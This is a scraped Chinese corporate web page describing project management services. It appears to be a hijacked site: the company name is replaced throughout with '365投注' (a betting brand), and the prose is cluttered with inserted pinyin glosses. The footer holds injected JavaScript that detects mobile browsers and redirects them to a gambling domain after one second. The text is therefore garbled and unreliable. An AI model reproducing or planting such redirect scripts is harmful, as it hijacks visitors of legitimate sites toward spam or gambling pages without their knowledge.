365投注

项目管理服务

服务内容

经过多年的实践和积累,365投注已形成一套完整的项目管理模式,并广泛应用于实际的项目管理活动中,要点包括: 

1.范围管理:建立全面的工作计划和工作分解结构,使各项工作均围绕着项目总体范围和目标进行,避免条块分割和重复投入。 

2.风险管理:尽早发现项目中可能存在的风险或问题,建立并执行完备的风险控制和防范机制。 

3.质量管理:为确保项目达到客户所期望的质量要求所实施的质量规划、质量控制和质量保证等。 

4.时间管理:在项目的各个阶段,注重各项任务的关联和协调,对项目进展和里程碑进行检查,对关键的进度问题进行及时应对和调整。 

5.人力资源管理:根据项目总体要求,合理分配项目内部和外部的各种人力资源和其他资源。 

6.采购管理:协调参与项目的软硬件供应商及其他合作伙伴,并对其服务质量进行监督和管理。 

7.集成管理:为确保项目各项工作能够有机的协调和配合,所展开的综合性和全局性的项目管理工作与过程,包括项目集成计划的制定,项目集成计划的实施,项目变更的总体控制等。 

8.成本管理:为了保证完成项目的实际成本、费用不超过预算成本、费用的管理过程,包括资源的配置,成本、费用的预算以及费用的控制等工作。 

9.沟通管理:为了确保项目信(xin)息的合理收集和传输所实(shi)施的一系列(lie)措施,包括沟通规划,信(xin)息传输和内(nei)外部进度(du)报告等。

特色服务

通(tong)过需求管理实(shi)现质量保证


365投注在项(xiang)目管(guan)(guan)理活动中以是(shi)否符合客(ke)户需求,以及信息(xi)系(xi)(xi)统(tong)的(de)(de)(de)(de)运行效益作为项(xiang)目质量管(guan)(guan)理的(de)(de)(de)(de)成功(gong)标(biao)准。一个好(hao)的(de)(de)(de)(de)、有(you)价值的(de)(de)(de)(de)信息(xi)系(xi)(xi)统(tong),必须以用户需求为导向进(jin)行设(she)(she)计(ji)和实施,通过有(you)效的(de)(de)(de)(de)质量管(guan)(guan)理,保证系(xi)(xi)统(tong)的(de)(de)(de)(de)设(she)(she)计(ji)质量、工程(cheng)水平,提(ti)高用户对(dui)系(xi)(xi)统(tong)的(de)(de)(de)(de)掌握程(cheng)度(du)和系(xi)(xi)统(tong)的(de)(de)(de)(de)维护管(guan)(guan)理水平,为客(ke)户的(de)(de)(de)(de)业务工作带(dai)来(lai)实实在在的(de)(de)(de)(de)效果,进(jin)而(er)发挥与实现用户和建(jian)设(she)(she)者的(de)(de)(de)(de)劳(lao)动价值和投资效益。 


行业(ye)客(ke)户对需求(qiu)的(de)认(ren)识也是(shi)(shi)一个逐步深(shen)入(ru)(ru)和(he)明晰的(de)过程,随着认(ren)识的(de)深(shen)入(ru)(ru),客(ke)户的(de)需求(qiu)才逐渐(jian)变得明确。行业(ye)管理模式(shi)处在探索(suo)阶(jie)段的(de)时候,可能引起需求(qiu)变动的(de)因素也很多(duo),系(xi)统需求(qiu)分(fen)析阶(jie)段,开发方(fang)与(yu)用户方(fang)的(de)深(shen)入(ru)(ru)交流是(shi)(shi)项目获得成功的(de)关键。作为掌握必要行业(ye)知识的(de)专业(ye)人(ren)员(yuan),来帮助客(ke)户深(shen)化认(ren)识、明确需求(qiu),是(shi)(shi)质(zhi)量管理的(de)起点。 


在(zai)项(xiang)目(mu)(mu)(mu)管理(li)服务(wu)中,按(an)照工程化的(de)(de)(de)(de)(de)(de)方(fang)法进(jin)行质(zhi)量管理(li),既能(neng)够不(bu)断(duan)进(jin)行资源(yuan)的(de)(de)(de)(de)(de)(de)配置和(he)协(xie)调,不(bu)断(duan)做(zuo)出科(ke)学决策,从(cong)而使(shi)项(xiang)目(mu)(mu)(mu)执(zhi)行的(de)(de)(de)(de)(de)(de)全(quan)过程处于最(zui)(zui)佳期的(de)(de)(de)(de)(de)(de)运行状态,产生最(zui)(zui)佳的(de)(de)(de)(de)(de)(de)效果(guo)(guo),又(you)可以综(zong)合协(xie)调好时间、费(fei)用及功能(neng)等(deng)约(yue)束性(xing)目(mu)(mu)(mu)标(biao),在(zai)相对较短的(de)(de)(de)(de)(de)(de)时期内(nei)成功地达到一个特定的(de)(de)(de)(de)(de)(de)成果(guo)(guo)性(xing)目(mu)(mu)(mu)标(biao)。

 

通过配置管(guan)理交付(fu)合格成果(guo)


在项目管(guan)理服务中(zhong),365投注使用专业(ye)的配置管(guan)理工具,对软件(jian)开发或系统(tong)集成过程中(zhong)的参数、代码、文(wen)(wen)档、文(wen)(wen)件(jian)等进行标识(shi)、追踪(zong)和管(guan)控。 


文(wen)档(dang)管(guan)理(li)(li)是配置管(guan)理(li)(li)的(de)(de)重要方(fang)面。项目(mu)实(shi)(shi)施中,由(you)于项目(mu)的(de)(de)复(fu)杂性(xing)、多方(fang)人员(yuan)的(de)(de)参加以(yi)及时(shi)间跨度比较长等因素的(de)(de)存(cun)在,所有(you)与项目(mu)有(you)关(guan)的(de)(de)需求(qiu)、建议、解(jie)决方(fang)案和(he)结论都必(bi)须文(wen)档(dang)化、标准化,成(cheng)为项目(mu)成(cheng)果的(de)(de)一个组(zu)成(cheng)部分,以(yi)便查阅(yue)、交流和(he)引用。按照365投注严格的(de)(de)标准,文(wen)档(dang)管(guan)理(li)(li)的(de)(de)目(mu)标是及时(shi)、真实(shi)(shi)、符(fu)合标准;文(wen)档(dang)的(de)(de)生成(cheng)与项目(mu)实(shi)(shi)施中的(de)(de)阶(jie)段同(tong)步;对(dui)重要的(de)(de)受控文(wen)档(dang)实(shi)(shi)施计算机(ji)管(guan)理(li)(li);切实(shi)(shi)保证文(wen)档(dang)的(de)(de)安全;确保文(wen)档(dang)的(de)(de)正确、有(you)效,便于使用等等。


对于软件开(kai)(kai)(kai)发(fa)和(he)大型(xing)系(xi)(xi)统集成(cheng)(cheng)来说,配(pei)置(zhi)管(guan)理(li)(li)(li)并不仅仅是版本的(de)(de)(de)(de)控制管(guan)理(li)(li)(li),还涉及(ji)到(dao)代码协调、履历(li)追踪(zong)(zong)、品(pin)质检查等(deng)细节问题(ti)。通(tong)过(guo)贯彻软件工程的(de)(de)(de)(de)最新成(cheng)(cheng)果(guo),配(pei)置(zhi)管(guan)理(li)(li)(li)支持并行开(kai)(kai)(kai)发(fa),跨地域(yu)的(de)(de)(de)(de)技术(shu)团队(dui)能够(gou)协同工作、而又不失去控制;通(tong)过(guo)过(guo)程控制,能够(gou)贯彻、实施(shi)开(kai)(kai)(kai)发(fa)规(gui)范,包括访问权限控制、开(kai)(kai)(kai)发(fa)规(gui)则(ze)的(de)(de)(de)(de)实施(shi);通(tong)过(guo)发(fa)布管(guan)理(li)(li)(li),提取特定的(de)(de)(de)(de)开(kai)(kai)(kai)发(fa)成(cheng)(cheng)果(guo)版本,形成(cheng)(cheng)软件系(xi)(xi)统的(de)(de)(de)(de)阶段版本或发(fa)布版本;通(tong)过(guo)至始至终管(guan)理(li)(li)(li)、跟踪(zong)(zong)发(fa)布版本间的(de)(de)(de)(de)关联,能够(gou)明确的(de)(de)(de)(de)知道什么(me)时候(hou),谁做(zuo)了什么(me),为(wei)什么(me)这(zhei)么(me)做(zuo),从而达(da)到(dao)管(guan)理(li)(li)(li)和(he)追踪(zong)(zong)开(kai)(kai)(kai)发(fa)过(guo)程中危害系(xi)(xi)统质量以及(ji)影响开(kai)(kai)(kai)发(fa)周(zhou)期的(de)(de)(de)(de)缺(que)陷(xian)和(he)变化。 


按照(zhao)工程化的方法进行管理(li)(li),既(ji)能(neng)够不断进行资源的配置和协调(diao),不断做(zuo)出科学决(jue)策,从而使(shi)项(xiang)目执(zhi)行的全(quan)过程处于(yu)最(zui)佳期的运行状态,产(chan)生最(zui)佳的效果(guo);又可(ke)以(yi)综合协调(diao)好(hao)时间(jian)、费(fei)用(yong)及功(gong)能(neng)等约束性(xing)目标,在相(xiang)对较短的时期内成功(gong)地达到一个特定的成果(guo)性(xing)目标,从而实现(xian)高效率的项(xiang)目管理(li)(li),并交付合格的系(xi)统。

 

通过(guo)计(ji)划管理把握(wo)项目动态性


365投注以动态的(de)(de)计(ji)划(hua)(hua)(hua)管理作为项目实(shi)(shi)(shi)施的(de)(de)依(yi)据(ju)和(he)指南,作为控制、监(jian)督的(de)(de)依(yi)据(ju),作为评价和(he)检验项目实(shi)(shi)(shi)施状况(kuang)的(de)(de)尺度。计(ji)划(hua)(hua)(hua)的(de)(de)内(nei)容包括进(jin)度计(ji)划(hua)(hua)(hua)、费用计(ji)划(hua)(hua)(hua)、质(zhi)量计(ji)划(hua)(hua)(hua)、安(an)全计(ji)划(hua)(hua)(hua)、资源(yuan)计(ji)划(hua)(hua)(hua)和(he)沟通计(ji)划(hua)(hua)(hua),因而具有较强的(de)(de)可实(shi)(shi)(shi)施性(xing),并能够根据(ju)实(shi)(shi)(shi)际情况(kuang)和(he)客户要求灵活(huo)调(diao)整。 


仅靠工(gong)程化的项目(mu)管理方(fang)(fang)法,仍不(bu)足(zu)以保证成功,还需(xu)要(yao)进行有(you)效的沟通。例如,系统(tong)的开(kai)发需(xu)要(yao)用户(hu)方(fang)(fang)与开(kai)发方(fang)(fang)的共同协作。典(dian)型情况下(xia),用户(hu)方(fang)(fang)包(bao)括(kuo)决(jue)策层(ceng)(ceng)、执行层(ceng)(ceng)和最终用户(hu)层(ceng)(ceng),开(kai)发方(fang)(fang)有(you)可(ke)能(neng)包(bao)括(kuo)管理人员和技术人员。用户(hu)方(fang)(fang)难免(mian)对信息技术缺乏全面(mian)的了解(jie)和经验,开(kai)发方(fang)(fang)也往(wang)往(wang)对用户(hu)方(fang)(fang)的需(xu)要(yao)和业(ye)务细(xi)节了解(jie)不(bu)充(chong)分(fen),两者间的充(chong)分(fen)沟通、配合(he)与融合(he),就显得格外(wai)关键(jian)与重要(yao)。 


按(an)照(zhao)每个项(xiang)(xiang)目的(de)具体情况,项(xiang)(xiang)目计划(hua)(hua)(hua)通过(guo)进(jin)一步分(fen)解(jie)为(wei)子(zi)项(xiang)(xiang)目计划(hua)(hua)(hua)和阶段计划(hua)(hua)(hua),首(shou)先(xian)按(an)照(zhao)项(xiang)(xiang)目管理(li)(li)方(fang)法(fa)建(jian)立(li)适用的(de)项(xiang)(xiang)目实(shi)施(shi)流程(cheng),明确工程(cheng)实(shi)施(shi)各步骤的(de)顺序和重点,然后根(gen)据(ju)实(shi)施(shi)流程(cheng),在项(xiang)(xiang)目每个阶段执(zhi)行(xing)详(xiang)细的(de)工程(cheng)计划(hua)(hua)(hua),包括总体计划(hua)(hua)(hua)、月计划(hua)(hua)(hua)、周(zhou)计划(hua)(hua)(hua),紧(jin)急项(xiang)(xiang)目中还有日计划(hua)(hua)(hua),并按(an)时进(jin)行(xing)回溯和总结(jie)。在进(jin)度管理(li)(li)中,采用SMART等方(fang)法(fa)针对计划(hua)(hua)(hua)和工程(cheng)进(jin)展进(jin)行(xing)管理(li)(li),根(gen)据(ju)项(xiang)(xiang)目实(shi)际(ji)进(jin)展情况及时调整计划(hua)(hua)(hua),进(jin)行(xing)计划(hua)(hua)(hua)的(de)变(bian)更(geng)管理(li)(li)。


法律声明 网站地图 联系我们

©Thunisoft 北京365投注信息技术有(you)限公司 版权所有(you)    

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();